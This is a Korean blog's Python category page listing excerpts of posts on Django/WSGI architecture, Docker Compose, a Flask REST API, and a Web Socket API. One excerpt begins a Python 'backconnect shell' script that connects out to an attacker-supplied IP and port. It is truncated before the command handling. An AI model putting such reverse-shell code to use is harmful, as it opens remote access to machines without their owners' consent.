본문 바로가기

Python48

Nginx, Gunicorn(WSGI), Django 동작 원리 WSGI(Web Server Gateway Interface)와 관련하여, 웹 애플리케이션 서버의 동작 방식과 역할에 대한 설명을 요약 및 정리해보겠습니다. WSGI의 등장 배경 초기에는 웹 서버만 있었으며, 정적인 파일만 처리 가능했음. 동적인 요청에 대한 처리 필요성 증가. CGI(Common Gateway Interface) 등장: 파이썬 어플리케이션 서버의 동작 방식 정의. CGI는 요청마다 파이썬 스크립트를 처음부터 실행하여 처리하는 방식이어서 성능 이슈 발생. WSGI의 등장과 WSGI 서버(Gunicorn, uWSGI) WSGI(Web Server Gateway Interface) 등장: 웹 서버와 파이썬 어플리케이션 간의 통신 규약. WSGI 서버 필요: 클라이언트의 요청을 받아 WSGI .. 2023. 8. 23.
Docker Compose를 활용한 Django 환경 구축 Docker Compose를 활용하여 Django 프로젝트의 환경을 구축하는 과정을 설명합니다. 일반적으로 Django 프로젝트에 붙이는 Postgres, Nginx, Redis, RabbitMQ, Celery와 같은 서비스들을 Docker Compose를 사용하여 연결할 수 있습니다. Dockerization Dockerization은 기존의 Django 프로젝트를 Docker Compose를 사용하여 컨테이너화하는 과정을 의미합니다. 이를 통해 Django와 필요한 다른 서비스들을 컨테이너로 띄울 수 있습니다. 기존 프로젝트가 있는 경우 해당 프로젝트를 가져와 진행하거나, 새 프로젝트를 시작하는 경우 장고 서버가 정상적으로 실행되는 상태에서 작업을 진행할 수 있습니다. Docker Desktop 설치.. 2023. 8. 22.
Flask를 사용하여 REST API를 구축하는 예제 코드 Flask를 사용하여 REST API를 구축하는 예제 코드입니다. from flask import Flask, jsonify, request app = Flask(__name__) # 예시 데이터 tasks = [ { 'id': 1, 'title': 'Task 1', 'description': 'This is task 1', 'done': False }, { 'id': 2, 'title': 'Task 2', 'description': 'This is task 2', 'done': False } ] # 모든 작업 목록 반환 @app.route('/tasks', methods=['GET']) def get_tasks(): return jsonify({'tasks': tasks}) # 특정 작업 반환 @app.. 2023. 7. 1.
Web Socket API Web Socket APIThe Web Socket protocol enables web applications to maintain bidirectional communications with server-side processes. The typhoonae.websocket package provides a Web Socket Service API for GAE applications. It was introduced by the TyphoonAE 0.1.2 release anddoes not run on the productive Google App Engine platform.However, in order to enable the Web Socket API for the Google App En.. 2014. 2. 4.
윈도우 환경 Python 쉘 리바운드 #!/usr/bin/python import socket import sys import os def usage(): print "Simple Python Backconnect Shell" print "Usage:" print "./bc.py [ip] [port]" quit() #Initialize socket s = socket.socket() #Check if required arguments have been filled try: ip = sys.argv[1] port = int(sys.argv[2]) except: usage() #Connect to given target IP & port try: s.connect((ip, port)) except: print "Connection Failed!.. 2010. 9. 10.